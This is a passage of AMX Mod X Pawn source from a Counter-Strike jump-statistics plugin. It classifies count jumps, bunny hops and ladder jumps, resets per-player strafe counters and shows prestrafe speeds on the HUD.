						strafe_stat_speed[id][i][1] = 0.0;
						strafe_stat_sync[id][i][0] = INFO_ZERO;
						strafe_stat_sync[id][i][1] = INFO_ZERO;
						strafe_stat_time[id][i] = 0.0;
						strafe_lost_frame[id][i] = 0;
						
					}
					in_air[id]	= true;
					in_ladder[id]=true;
					g_Jumped[id]	= true;
					first_frame[id] = true;
					
					turning_right[id] = false;
					turning_left[id] = false;
					
					for( i = INFO_ZERO; i < 2; i++ )
					{
						frame_origin[id][i][0] = 0.0;
						frame_origin[id][i][1] = 0.0;
						frame_origin[id][i][2] = 0.0;
						
						frame_velocity[id][i][0] = 0.0;
						frame_velocity[id][i][1] = 0.0;
						frame_velocity[id][i][2] = 0.0;
					}
					for( i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							if(showpre[id]==true && uq_ladder==1 )
							{
								set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.0, 0.1, 0.1, h_prest);
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE31",prestrafe[id]);
							}
						}
					}
				}
				
				
				if((button & IN_JUMP && flags & FL_ONGROUND) || in_ladder[id])
				{
					x_jump[id]=true;
					if(is_user_ducking(id))
					{
						x_heightland_origin[id]=origin[2]+18;
					}
					else x_heightland_origin[id]=origin[2];
				}
				
				if((x_jump[id]==true || in_ladder[id]) && button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND )
				{
					if(x_jump[id])
					{
						x_jump[id]=false;
						
						new Float:heightland_origin;
						if(is_user_ducking(id))
						{
							heightland_origin=origin[2]+18;
						}
						else heightland_origin=origin[2];
						if(heightland_origin-x_heightland_origin[id]>0 && !in_ladder[id])
						{
							JumpReset(id,45);
							
							UpcjFail[id]=true;
								
							return FMRES_IGNORED;
						}
						
						if(bhopaem[id] && !ddforcjafterbhop[id])
						{
							ddforcjafterbhop[id]=true;
						}
						else ddforcjafterbhop[id]=false;
						
						if(in_ladder[id] && !ddforcjafterladder[id])
						{
							ddforcjafterladder[id]=true;
						}
						else ddforcjafterladder[id]=false;
						
						ddforcj[id]=true;
					}
					
				}
				
				if(cjjump[id]==false && (button & IN_DUCK || oldbuttons & IN_DUCK) && (jump_type[id] == Type_Drop_CountJump || ddforcj[id] || ddafterJump[id] || jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
				{
					if(origin[2]-duckstartz[id]<-1.21 && origin[2]-duckstartz[id]>-2.0)
					{
						if(ddstandcj[id])
						{
							nextbhop[id]=false;
							bhopaem[id]=false;
						}
						if(jump_typeOld[id]==1)
						{
							multiscj[id]=0;	
						}
						else if(jump_typeOld[id]==2)
						{
							multiscj[id]=1;	
						}
						else if(jump_typeOld[id]==3)
						{
							multiscj[id]=2;	
						}
						jump_type[id] = Type_StandUp_CountJump;
												
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJ");
							
						FallTime[id]=get_gametime();
					}
				}
				if( button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND)
				{
					nextbhop[id]=false;
					bhopaem[id]=false;
					doubleduck[id]=true;
					
					sync_doubleduck[id]=true;
					
					doubletime[id]=get_gametime();
					FallTime1[id]=get_gametime();
					ddnum[id]++;
				}
				if(sync_doubleduck[id] && g_Jumped[id])
				{
					sync_doubleduck[id]=false;
					doubleduck_stat_sync[id][0]=0;
					doubleduck_stat_sync[id][1]=0;
				}
				if(flags & FL_ONGROUND)
				{
					if(duckstartz[id]-origin[2]<18.0 && doubleduck[id]==true && (get_gametime()-doubletime[id]>0.4) && ddbeforwj[id]==false && (jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
					{
						JumpReset(id,2);
						doubleduck[id]=false;
					}	
				}
				pev(id, pev_origin, origin);
				
				if(slide_protec[id]==false && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND && bhopaem[id]==false && UpcjFail[id]==false)
				{	
					bhop_num[id]=0;
					notjump[id]=false;
					if(ddforcj[id]==true)
					{
						if(jump_type[id] == Type_StandUp_CountJump)
						{
							ddstandcj[id]=true;
						}
							
						ddforcj[id]=false;
							
						if(jump_type[id] != Type_StandUp_CountJump && (jump_type[id]!=Type_Drop_CountJump || ddforcjafterladder[id]))
						{
							if(ddnum[id]==1)
							{
								jump_type[id]=Type_CountJump;
								CjafterJump[id]=1;
							}
							else if(ddnum[id]==2)
							{
								jump_type[id] = Type_Double_CountJump ;
								CjafterJump[id]=2;
							}
							else if(ddnum[id]>=3)
							{
								jump_type[id] = Type_Multi_CountJump;
								CjafterJump[id]=3;
							}
							
							ddnum[id]=0;
							nextbhop[id]=false;
							bhopaem[id]=false;
						}
					}
					
					oldjump_height[id]=0.0;
					jheight[id]=0.0;
					
					if(nextbhop[id] && ddafterJump[id]==false)
					{
						FullJumpFrames[id]=0;
						direct_for_strafe[id]=0;
						angles_arry[id]=0;
						
						if(uq_istrafe)
						{
							for(new i=0;i<=line_erase_strnum[id];i++)
							{
								for( new j = 0; j <= line_erase[id][i]; j++ )
								{
									line_lost[id][i][j]=0;
									lost_frame_count[id][i]=0;
								}
							}
						}
						
						edgedone[id]=false;
						if(get_gametime()-checkladdertime[id]<0.5)
						{
							ladderbug[id]=true;
						}
						
						if(touch_ent[id])
						{
							JumpReset(id,105);
						}
						ddnum[id]=0;
						
						if(cjjump[id]==true && (get_gametime()-duckoff_time[id])<0.2)
						{
							JumpReset(id,35);
							return FMRES_IGNORED;
							
						}
					
						if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_HighJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
						{
							jump_type[id]=Type_DuckBhop;
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
							duckbhop[id]=false;
						}
						
						bhopaem[id]=true;
						
						pev(id, pev_origin, origin);
						static bool:ducking;
						ducking = is_user_ducking( id ); 
						strafecounter_oldbuttons[id] = INFO_ZERO;
					
						strafe_num[id] = 0;
						TempSpeed[id] = 0.0;
						in_bhop[id] = true;
						pre_jumpoff_origin[id] = jumpoff_origin[id];
						jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0; //todo:think about this gavno
						
						jumpoff_time[id] = get_gametime( );
						
						new Float:checkbhop;
						
						if(is_user_ducking(id)==true)
						{
							checkbhop=jumpoff_origin[id][2]-origin[2]-18.0;
						}
						else checkbhop=jumpoff_origin[id][2]-origin[2];
						
						if(checkbhop<-1.0)
						{
							if(button & IN_DUCK )
							{
								jump_type[id]=Type_Up_Bhop_In_Duck;
							}
							upbhop_koeff[id]=UpBhop_calc(floatabs(checkbhop));
							upheight[id]=floatabs(checkbhop);
							upBhop[id]=true;
						}
						else if(jump_type[id]!=Type_DuckBhop)
						{
							if(button & IN_DUCK )
							{
								jump_type[id]=Type_Bhop_In_Duck;
							}
						}
						
						jumpoff_origin[id] = origin;
						if(is_user_ducking( id )==true)
						{
							
							jumpoff_origin[id][2] = origin[2]+18.0;
						}
						else jumpoff_origin[id][2] = origin[2];
						
						pev(id, pev_velocity, velocity);
						first_frame[id] = true;
						
						prestrafe[id] = speed[id];
						maxspeed[id] = speed[id];
						
						static i;
						for( i = INFO_ZERO; i < NSTRAFES; i++ )
						{
							strafe_stat_speed[id][i][0] = 0.0;
							strafe_stat_speed[id][i][1] = 0.0;
							strafe_stat_sync[id][i][0] = INFO_ZERO;
							strafe_stat_sync[id][i][1] = INFO_ZERO;
							strafe_stat_time[id][i] = 0.0;
							strafe_lost_frame[id][i] = 0;
						}
						for( i = INFO_ZERO; i < 2; i++ )
						{
							frame_origin[id][i][0] = 0.0;
							frame_origin[id][i][1] = 0.0;
							frame_origin[id][i][2] = 0.0;
							
							frame_velocity[id][i][0] = 0.0;
							frame_velocity[id][i][1] = 0.0;
							frame_velocity[id][i][2] = 0.0;
						}
						in_air[id]	= true;
						g_Jumped[id]	= true;
						turning_right[id] = false;
						turning_left[id] = false;
					}
					else 
					{
						if(get_gametime()-checkladdertime[id]<0.5 && jump_type[id]!=Type_ladderBhop)
						{
							ladderbug[id]=true;
						}
						
						if(touch_ent[id])
						{
							JumpReset(id,106);
						}	
						ddnum[id]=0;
						if(in_ladder[id]==true)
						{
							in_ladder[id]=false;
							
							jump_type[id]=Type_Real_ladder_Bhop;
							
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_RLDBJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_RLDBJ");
							
						}
						
						strafe_num[id]=0;
						
						if(get_gametime()-changetime[id]<0.5)
						{
							JumpReset(id,38);
							return FMRES_IGNORED;
						}
						
						if(task_exists(id+2311))
							remove_task(id+2311);
						
						pev(id, pev_velocity, velocity);
						
						if(jump_type[id]!=Type_ladderBhop)
						{
							if(oldjump_typ1[id]==1)
							{
								jump_type[id]=Type_ladderBhop;
								oldjump_typ1[id]=0;
							}
						}
						
						
						
						jumpoff_origin[id] = origin;
						
						if(is_user_ducking(id))
						{
							jumpoff_origin[id][2] = origin[2]+18.0;
						}
						else jumpoff_origin[id][2] = origin[2];
						
						jumpoff_time[id] = get_gametime( );
						strafecounter_oldbuttons[id] = INFO_ZERO;
						
						pev(id, pev_origin, origin);
						if(is_user_ducking(id))
						{
							dropbjorigin[id][2]=origin[2]+18;
						}
						else dropbjorigin[id][2]=origin[2];
						dropbjorigin[id][0]=origin[0];
						dropbjorigin[id][1]=origin[1];
						pev(id, pev_velocity, velocity);
						secorig[id]=origin;
						
						nextbhop[id]=true;
						
						
						if(dropbhop[id] && jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump)
						{
							dropbhop[id]=false;
							jump_type[id] = Type_Drop_BhopLongJump; 
						}
						else dropbhop[id]=false;
						
						if(jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump)
						{
							cjjump[id]=true;
						}
						if (!ddstandcj[id] && !CjafterJump[id] && (jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump) && floatabs(duckstartz[id]-jumpoff_origin[id][2])>4.0)
						{
							if(speed[id]<200.0)
							{
								jump_type[id] = Type_LongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
							}
							else
							{
								jump_type[id] = Type_WeirdLongJump;
																
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
							}
						}
						if(jump_type[id] == Type_Drop_CountJump && multidropcj[id]==0 && (origin[2]-first_duck_z[id])>4)
						{
							JumpReset(id,146);
							return FMRES_IGNORED;
						}
						prestrafe[id]	= speed[id];
						maxspeed[id]	= speed[id];
						new Float:kkk;
							
						kkk=1.112*Pmaxspeed;
						
						if(prestrafe[id]<kkk && jump_type[id] !=Type_ladderBhop && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_WeirdLongJump && jump_type[id] != Type_CountJump && jump_type[id] != Type_Multi_CountJump && jump_type[id] != Type_Double_CountJump && jump_type[id] != Type_BhopLongJump && jump_type[id] != Type_StandupBhopLongJump && jump_type[id] != Type_Drop_CountJump)
						{
							if(jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump && jump_type[id] !=Type_Real_ladder_Bhop)
							{
								jump_type[id] = Type_LongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
								
								if((jumpoff_origin[id][2]-origin[2])==18.0 && oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==false)
								{
									duckbhop[id]=true;
									//client_print(id,print_chat,"%f",jumpoff_origin[id][2]-origin[2]);
									
									find_sphere_class (id, "func_ladder",100.0, entlist1, 1);
									if(entlist1[0]!=0)
									{
										if(get_gametime()-checkladdertime[id]<0.1 || prestrafe[id]>110)
										{
											ladderbug[id]=true;
										}
										else if(entlist1[0]!=0)
										{
											ladderbug[id]=true;
										}
										find_ladder[id]=true;
									}
								}
								else duckbhop[id]=false;
							}
						}
						
						TempSpeed[id] = 0.0;
						
						static i;
						for( i = INFO_ZERO; i < NSTRAFES; i++ )
						{
							strafe_stat_speed[id][i][0] = 0.0;
							strafe_stat_speed[id][i][1] = 0.0;
							strafe_stat_sync[id][i][0] = INFO_ZERO;
							strafe_stat_sync[id][i][1] = INFO_ZERO;
							strafe_stat_time[id][i] = 0.0;
							strafe_lost_frame[id][i] = 0;
						}
						in_air[id]	= true;
						g_Jumped[id]	= true;
						first_frame[id] = true;
						
						prestrafe[id]	= speed[id];
						maxspeed[id]	= speed[id];
						
						turning_right[id] = false;
						turning_left[id] = false;
						
						for( i = INFO_ZERO; i < 2; i++ )
						{
							frame_origin[id][i][0] = 0.0;
							frame_origin[id][i][1] = 0.0;
							frame_origin[id][i][2] = 0.0;
							
							frame_velocity[id][i][0] = 0.0;
							frame_velocity[id][i][1] = 0.0;
							frame_velocity[id][i][2] = 0.0;
						}
						
						if(jump_type[id]==Type_LongJump && prestrafe[id]>kkk)
						{
							jump_type[id] = Type_WeirdLongJump;
							
							
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
						}
						
						
						if ((doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]) > 0)
						{
							dd_sync[id] =(doubleduck_stat_sync[id][0] * 100)/(doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]);
							
							if(dd_sync[id]<96)
								dd_sync[id] =5+dd_sync[id]; 		
							
						}				
						else
						{
							dd_sync[id] = 0;
						}
						
						for( i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if((Pmaxspeed * 1.2)>prestrafe[id])
								{	
									if(prestrafe[id]>min_prestrafe[id])
									{
										if(jump_type[id] == Type_Double_CountJump && showpre[id]==true && uq_dcj==1)
										{
											if(CjafterJump[id]==2)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE1",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE2",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE3",prestrafe[id]);	
											
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE4",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_CountJump && showpre[id]==true && uq_cj==1)
										{
											if(CjafterJump[id]==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE5",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE6",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE7",prestrafe[id]);
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE8",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_Multi_CountJump  && showpre[id]==true  && uq_mcj==1)
										{
											if(CjafterJump[id]==3)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE9",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE10",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE11",prestrafe[id]);	
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE12",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_LongJump && showpre[id]==true && ljpre[id]==true && uq_lj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE13",prestrafe[id]);
										}
										else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==true  && uq_wj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE14",prestrafe[id]);
										}
										else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==false && uq_wj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE15",prestrafe[id]);
										}
										else if((jump_type[id] == Type_Drop_BhopLongJump)&& showpre[id]==true && uq_drbj==1 )
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE16",prestrafe[id]);
										}
										else if((jump_type[id] == Type_ladderBhop)&& showpre[id]==true && uq_ldbj==1 )
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE17",prestrafe[id]);
										}
										else if((jump_type[id]==Type_Drop_CountJump)&& showpre[id]==true)
										{
											if(multidropcj[id]==0 && uq_drcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE18",prestrafe[id]);
											}
											else if(multidropcj[id]==1 && uq_dropdcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE19",prestrafe[id]);
											}
											else if(multidropcj[id]==2 && uq_dropmcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE20",prestrafe[id]);
											}
										}
										else if((jump_type[id]==Type_StandUp_CountJump) && showpre[id]==true && uq_drsbj==1)
										{
											if(dropaem[id])
											{
												if(multiscj[id]==0 && uq_dropscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE21",prestrafe[id]);
												}
												else if(multiscj[id]==1 && uq_dropdscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE22",prestrafe[id]);
												}
												else if(multiscj[id]==2 && uq_dropmscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE23",prestrafe[id]);
												}
											}
											else if(ddstandcj[id])
											{
												if(multiscj[id]==0)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE24",prestrafe[id]);
												}
												else if(multiscj[id]==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE25",prestrafe[id]);
												}
												else if(multiscj[id]==2)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE26",prestrafe[id]);
												}
											}
											else
											{
												if(multiscj[id]==0 && uq_drsbj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE27",prestrafe[id]);
												}
												else if(multiscj[id]==1 && uq_dscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE28",prestrafe[id]);
												}
												else if(multiscj[id]==2 && uq_mscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE29",prestrafe[id]);
												}
											}
										}
										else if((jump_type[id]==Type_Real_ladder_Bhop) && showpre[id]==true && uq_realldbhop==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE30",prestrafe[id]);
										}
									}
								}
								else if(showpre[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
								}
							}
						}
					}
				}
				else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && bhopaem[id]==true && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND)
				{
					if(touch_ent[id])
					{
						JumpReset(id,106);
					}
					ddnum[id]=0;
					if(ddforcj[id]==true)
					{
						ddforcj[id]=false;
						JumpReset(id,46);
						return FMRES_IGNORED;
					}
					pev(id, pev_origin, origin);
					static bool:ducking;
					ducking = is_user_ducking( id );
					strafecounter_oldbuttons[id] = INFO_ZERO;
				
					strafe_num[id] = 0;
					TempSpeed[id] = 0.0;
					
					pre_jumpoff_origin[id] = jumpoff_origin[id];
					jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0;
					
					jumpoff_time[id] = get_gametime( );
					
					jumpoff_origin[id] = origin;
					if(is_user_ducking( id )==true)
					{
						jumpoff_origin[id][2] = origin[2]+18.0;
					}
					else jumpoff_origin[id][2] = origin[2];
					pev(id, pev_velocity, velocity);
					
					first_frame[id] = true;
					
					prestrafe[id] = speed[id];
					maxspeed[id] = speed[id];
					
					static i;
					for( i = INFO_ZERO; i < NSTRAFES; i++ )
					{
						strafe_stat_speed[id][i][0] = 0.0;
						strafe_stat_speed[id][i][1] = 0.0;
						strafe_stat_sync[id][i][0] = INFO_ZERO;
						strafe_stat_sync[id][i][1] = INFO_ZERO;
						strafe_stat_time[id][i] = 0.0;
						strafe_lost_frame[id][i] = 0;
					}
					for( i = INFO_ZERO; i < 2; i++ )
					{
						frame_origin[id][i][0] = 0.0;
						frame_origin[id][i][1] = 0.0;
						frame_origin[id][i][2] = 0.0;
						
						frame_velocity[id][i][0] = 0.0;
						frame_velocity[id][i][1] = 0.0;
						frame_velocity[id][i][2] = 0.0;
					}
					in_air[id]	= true;
					g_Jumped[id]	= true;
					turning_right[id] = false;
					turning_left[id] = false;
					jump_type[id]=Type_Multi_Bhop;
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MBJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MBJ");
				
					bhop_num[id]++;
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(showpre[i]==true && multibhoppre[id] && speed[id]>50.0)
							{
								if((Pmaxspeed * 1.2)>speed[id] && (uq_bj==1 || uq_sbj==1))
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_MBPRE",speed[id]);
								}
								else
								{	if((uq_bj==1 || uq_sbj==1))
									{
										set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
										show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
									}
								}
							}
						}
					}
				}
				else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && !(button&IN_JUMP) && oldbuttons&IN_JUMP && flags & FL_ONGROUND && nextbhop[id]==true && cjjump[id]==false && bhopaem[id]==false && jump_type[id]!=Type_Drop_BhopLongJump)	
				{		
					if(touch_ent[id])
					{
						JumpReset(id,109);
					}
					ddnum[id]=0;
					if(ddforcj[id]==true)
					{
						JumpReset(id,46);
						return FMRES_IGNORED;
					}
					bhop_num[id]=0;
			
					if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
					{
						jump_type[id]=Type_DuckBhop;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
						duckbhop[id]=false;
					}
					else
					{
						bhopaem[id]=true;
						
						static i;
						for( i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{	
								if(showpre[id]==true && failearly[id]==true && (uq_bj==1 || uq_sbj==1))
								{
									set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, h_stats);
									show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_JEARLY");
								}
							}
						}
					}
				}
				else if( ( failed_jump[id] || flags&FL_ONGROUND)&& in_air[id] )
				{	
					if(old_type_dropbj[id]!=Type_Null && jump_type[id]==Type_Drop_BhopLongJump)
					{
						jump_type[id]=old_type_dropbj[id];
						
						formatex(Jtype[id],32,Jtype_old_dropbj[id]);
						formatex(Jtype1[id],32,Jtype_old_dropbj1[id]);
					}
					if(bug_true[id])
					{
						JumpReset(id,322);
						return FMRES_IGNORED;
					}
					if(prestrafe[id]>200 && jump_type[id]==Type_DuckBhop)
					{
						duckbhop_bug_pre[id]=true;
						set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
						show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_PROBBUG",prestrafe[id]);
					}
					new summad,summws;
					for(new i=0;i<NSTRAFES;i++)
					{
						if(type_button_what[id][i]==1)
						summad++;
						if(type_button_what[id][i]==2)
						summws++;
					}
					if(summws>summad)
					{
						if(backwards[id])
						{
							formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1"); //Back-Side?? don't know...
						}
						else formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1");
					}
					else if(backwards[id])
					{
						formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE2");
					}
					else pre_type[id] = "";
			
					static bool:ducking;
					
					static type[33];
					type[0] = '^0';
					new bool:failed;
					if (failed_jump[id] == true)
					{
						formatex( type, 32, "" );
						failed=true;
						origin=failed_origin[id];
					}
					else
					{
						pev(id, pev_origin, origin);
						ducking = is_user_ducking( id );
						failed=false;
					}
					
					if(donehook[id])
					{
						donehook[id]=false;
						failed_jump[id]=true;
						client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_HOOKPROTECT");		
					}	
					if(failed==false)
					{
						height_difference[id] =  ducking ? jumpoff_origin[id][2] - origin[2] - 18.0 : jumpoff_origin[id][2] - origin[2];
						if(jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump || jump_type[id]==Type_Bhop_In_Duck)
						{
							if(height_difference[id] <-22.0)
							{
								JumpReset(id,4);
								return FMRES_IGNORED;
							}
							
							if(height_difference[id] > -18.0)
							{
								if(height_difference[id] <= -1.0)
								{
									JumpReset(id,5);
									return FMRES_IGNORED;
								}	
							}
						}
						else
						{
